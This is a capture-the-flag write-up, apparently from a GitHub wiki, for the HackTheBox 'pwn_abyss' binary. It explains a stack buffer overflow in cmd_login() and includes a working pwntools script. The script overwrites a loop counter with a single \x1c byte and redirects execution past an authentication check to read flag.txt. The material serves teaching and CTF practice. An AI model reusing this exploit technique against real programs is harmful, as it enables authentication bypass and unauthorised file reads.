HTB Abyss writeup - Pez1181/CTF GitHub Wiki
π HackTheBox Business CTF 2024 β pwn_abyss
π§ Challenge Type: Binary Exploitation (pwn)
π Vulnerability: Stack-based buffer overflow in cmd_login()
π‘οΈ Protection Bypassed: NX, partial RELRO, no PIE
π Objective: Get shell access (or read the flag)
π Recon
We begin with a standard checksec
:
$ checksec --file=abyss
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX enabled No PIE
This binary is:
- 64-bit, dynamically linked
- No stack canary π§¨
- NX enabled β no shellcode injection, ROP is required
- No PIE β static addresses = easier exploitation
Running the binary shows it expects a .creds
file and accepts binary input via stdin.
After analysis of main()
and cmd_login()
, we learn the command flow:
enum { LOGIN = 0, READ = 1, EXIT = 2 };
𧨠Vulnerability Analysis
In cmd_login()
, input is read into a 512-byte buffer, then parsed for "USER "
and "PASS "
commands. The parser copies characters from buf[i]
to user[i-5]
and pass[i-5]
, respectively, without bounds checks or null terminators.
Here's the vulnerable pattern:
char buf[512], user[512], pass[512];
read(0, buf, 512);
...
i = 5;
while (buf[i] != '\0') {
user[i - 5] = buf[i];
i++;
}
If buf
is fully filled and not null-terminated, the copy loop overflows into adjacent stack variables β and can overwrite the saved return address of cmd_login()
.
Crucially, there's a local variable i
also on the stack. If we donβt carefully manage it, our payload can corrupt i
, causing the loop to crash or exit early.
π§± Exploit Strategy
We deliver the payload via the USER
command, not PASS
.
Why? Because the overflow occurs while copying from buf
into user[]
.
To succeed, we:
- Craft a
USER
payload that overflowsuser[]
and reaches RIP - Inject a jump address to
cmd_read()
(after theif (!logged_in)
check) - Send a dummy
PASS
to satisfy program flow - Send the desired file path to
cmd_read()
π§ͺ The Critical Byte: \x1c
A single \x1c
byte appears in the working payload just before the RIP overwrite:
user_payload = (
b"USER "
+ b"AAAAAAAABBBBBBBBC\x1cDDDDEEEEEEE"
+ p64(0x4014eb)
)
Why?
- The loop copying from
buf
intouser[]
doesn't stop unless it sees a null byte. - The local variable
i
is stored on the stack afterpass[]
, right before the saved RBP and RIP. - The byte
\x1c
precisely overwrites the least significant byte ofi
, manipulating the loop counter. - This allows the copy loop to proceed past
user[]
andpass[]
, and cleanly write the address to RIP.
Any change in the placement of \x1c
(e.g., moving it one byte earlier or later) causes the loop to misbehave β either by terminating early or corrupting RIP.
π§ͺ Proof of Exploit (local)
from pwn import *
context.binary = "./abyss"
context.log_level = "debug"
elf = context.binary
p = process("./abyss")
p.send(p32(0)) # LOGIN
# Precise payload with \x1c to control loop behavior
user_payload = (
b"USER "
+ b"AAAAAAAABBBBBBBBC\x1cDDDDEEEEEEE"
+ p64(0x4014eb) # Address inside cmd_read(), after login check
)
p.send(user_payload)
p.recvrepeat(1)
# Send dummy PASS input to complete login step
pass_payload = b"PASS " + b"D" * (512 - len("PASS "))
p.send(pass_payload)
p.recvrepeat(1)
# Send file path for cmd_read()
p.send(b"flag.txt")
p.interactive()
π Outcome
The crafted payload bypasses authentication and redirects execution to cmd_read()
, which opens and prints the contents of flag.txt
. The exploit is delicate β relying on precise stack layout, variable positioning, and the placement of a single byte β but once dialed in, it's fully reliable.
π Final Notes
- This was a classic stack-based overflow with a twist: an indirect overwrite through a loop counter, and careful stack crafting to pull it off.
- The success of the exploit hinges not just on the payload length β but on the exact bytes and what they overwrite on the stack.
- A beautiful demonstration of how a single misaligned byte can bring down a program β or give you a flag.
##Mission complete. Escaped from the abyss